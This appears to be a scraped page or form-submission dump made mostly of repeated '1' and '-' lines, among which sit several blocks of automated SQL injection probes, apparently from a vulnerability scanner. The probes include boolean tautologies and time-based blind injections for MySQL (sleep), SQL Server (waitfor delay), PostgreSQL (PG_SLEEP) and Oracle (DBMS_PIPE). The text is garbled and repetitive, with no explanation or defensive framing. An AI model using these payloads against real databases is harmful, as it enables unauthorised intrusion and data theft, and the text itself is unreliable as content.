-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
ZE7Trezk
-
-1 OR 2+432-432-1=0+0+0+1 --
-
-1 OR 2+600-600-1=0+0+0+1
-
-1' OR 2+628-628-1=0+0+0+1 --
-
-1' OR 2+803-803-1=0+0+0+1 or 'bbaqHp12'='
-
-1" OR 2+350-350-1=0+0+0+1 --
-
1
-
1
-
if(now()=sysdate(),sleep(15),0)
-
1
-
1
-
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
1
-
1
-
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
1
-
1
-
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
1
-
1
-
1
-
1
-
-1; waitfor delay '0:0:15' --
-
1
-
1
-
-1); waitfor delay '0:0:15' --
-
1
-
1
-
-1)); waitfor delay '0:0:15' --
-
1
-
1 waitfor delay '0:0:15' --
-
1
-
bQpfTHwp'; waitfor delay '0:0:15' --
-
1
-
x9o2uaTl'); waitfor delay '0:0:15' --
-
1
-
0rAFHTmO')); waitfor delay '0:0:15' --
-
1
-
-5 OR 316=(SELECT 316 FROM PG_SLEEP(15))--
-
1
-
-5) OR 449=(SELECT 449 FROM PG_SLEEP(15))--
-
1
-
-1)) OR 914=(SELECT 914 FROM PG_SLEEP(15))--
-
1
-
EiFolqn0' OR 671=(SELECT 671 FROM PG_SLEEP(15))--
-
1
-
qIyvXg4x') OR 70=(SELECT 70 FROM PG_SLEEP(15))--
-
1
-
aCfcaFwG')) OR 442=(SELECT 442 FROM PG_SLEEP(15))--
-
1
-
1
-
1
-
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
1
-
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
1'"
-
1 ????%2527%2522
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
nALfta5f
-
-1 OR 2+506-506-1=0+0+0+1 --
-
-1 OR 2+328-328-1=0+0+0+1
-
-1' OR 2+194-194-1=0+0+0+1 --
-
-1' OR 2+72-72-1=0+0+0+1 or 'MLuWpobh'='
-
-1" OR 2+693-693-1=0+0+0+1 --
-
1
-
1
-
if(now()=sysdate(),sleep(15),0)
-
1
-
1
-
1
-
1
-
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
1
-
1
-
1
-
1
-
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
1
-
1
-
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
1
-
1
-
-1; waitfor delay '0:0:15' --
-
1
-
1
-
-1); waitfor delay '0:0:15' --
-
1
-
1
-
-1)); waitfor delay '0:0:15' --
-
1
-
1
-
1 waitfor delay '0:0:15' --
-
1
-
1
-
mkEzx2pX'; waitfor delay '0:0:15' --
-
1
-
1
-
znQxYjJf'); waitfor delay '0:0:15' --
-
1
-
1
-
DJvFj93U')); waitfor delay '0:0:15' --
-
1
-
1
-
-5 OR 539=(SELECT 539 FROM PG_SLEEP(15))--
-
1
-
1
-
-5) OR 152=(SELECT 152 FROM PG_SLEEP(15))--
-
1
-
1
-
1
-
1
-
-1)) OR 786=(SELECT 786 FROM PG_SLEEP(15))--
-
1
-
1
-
1
-
5AORrLGU' OR 972=(SELECT 972 FROM PG_SLEEP(15))--
-
1
-
1
-
T9zsnKyz') OR 449=(SELECT 449 FROM PG_SLEEP(15))--
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
6Ax00gzW')) OR 828=(SELECT 828 FROM PG_SLEEP(15))--
-
1
-
1
-
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
1
-
1
-
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
1'"
-
1
-
1 ????%2527%2522
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
mlSpc7I9
-
-1 OR 2+101-101-1=0+0+0+1 --
-
-1 OR 2+506-506-1=0+0+0+1
-
-1' OR 2+192-192-1=0+0+0+1 --
-
-1' OR 2+842-842-1=0+0+0+1 or '98XiD8og'='
-
-1" OR 2+767-767-1=0+0+0+1 --
-
1
-
1
-
if(now()=sysdate(),sleep(15),0)
-
1
-
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
1
-
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
WL3FF2li
-
-1 OR 2+949-949-1=0+0+0+1 --
-
-1 OR 2+888-888-1=0+0+0+1
-
-1' OR 2+805-805-1=0+0+0+1 --
-
-1' OR 2+959-959-1=0+0+0+1 or 'gUKdnJMz'='
-
-1" OR 2+406-406-1=0+0+0+1 --
-
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
if(now()=sysdate(),sleep(15),0)
-
-1; waitfor delay '0:0:15' --
-
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
-1); waitfor delay '0:0:15' --
-
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
-1)); waitfor delay '0:0:15' --
-
0"XOR(if(now()=sysdate(),sleep(6),0))XOR"Z
-
1 waitfor delay '0:0:15' --
-
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
J60LvTg5'; waitfor delay '0:0:15' --
-
-1; waitfor delay '0:0:15' --
-
SzhZqcEl'); waitfor delay '0:0:15' --
-
-1); waitfor delay '0:0:15' --
-
AQEoBaae')); waitfor delay '0:0:15' --
-
-1)); waitfor delay '0:0:15' --
-
-5 OR 45=(SELECT 45 FROM PG_SLEEP(15))--
-
1 waitfor delay '0:0:15' --
-
-5) OR 723=(SELECT 723 FROM PG_SLEEP(15))--
-
EkHV7qGJ'; waitfor delay '0:0:15' --
-
-1)) OR 643=(SELECT 643 FROM PG_SLEEP(15))--
-
Rcq0onwN'); waitfor delay '0:0:15' --
-
8dAU0G1t' OR 688=(SELECT 688 FROM PG_SLEEP(15))--
-
74iAyPXF')); waitfor delay '0:0:15' --
-
PP3OPJgP') OR 502=(SELECT 502 FROM PG_SLEEP(15))--
-
-5 OR 435=(SELECT 435 FROM PG_SLEEP(15))--
-
25I3HNZp')) OR 214=(SELECT 214 FROM PG_SLEEP(15))--
-
-5) OR 553=(SELECT 553 FROM PG_SLEEP(15))--
-
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
-1)) OR 139=(SELECT 139 FROM PG_SLEEP(15))--
-
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
1'"
-
1 ????%2527%2522
-
69Xrjpft' OR 384=(SELECT 384 FROM PG_SLEEP(15))--
-
1
-
BQnRHG6d') OR 973=(SELECT 973 FROM PG_SLEEP(15))--
-
1
-
iLrqbhpq')) OR 600=(SELECT 600 FROM PG_SLEEP(15))--
-
1
-
1
-
1
-
1
-
1
-
1
-
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
1
-
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
1'"
-
1 ????%2527%2522
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1
-
1